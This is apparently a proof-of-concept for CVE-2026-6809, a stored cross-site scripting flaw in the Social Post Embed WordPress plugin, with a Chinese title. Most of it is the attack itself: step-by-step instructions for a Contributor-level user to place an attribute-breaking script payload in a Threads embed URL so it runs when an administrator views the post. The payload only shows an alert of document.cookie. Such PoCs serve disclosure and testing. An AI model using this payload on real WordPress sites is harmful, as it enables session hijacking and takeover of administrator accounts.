CVE-2026-6809 WordPress插件存储型XSS漏洞

/* * PoC for CVE-2026-6809 * Product: Social Post Embed WordPress Plugin * Vulnerability Type: Stored XSS via Threads Embed Handler */ // Step 1: Log in as a user with Contributor-level access or higher. // Step 2: Create a new Post. // Step 3: Use the Social Post Embed block/shortcode to embed a Threads post. // Step 4: In the URL field, enter the following payload: let payload = 'https://www.threads.net/t/test"><script>alert(document.cookie)</script>'; // Step 5: Publish the post. // Step 6: Visit the post as a different user (e.g., Admin). // Result: The JavaScript alert will trigger, demonstrating the Stored XSS. console.log(`Payload to inject: ${payload}`);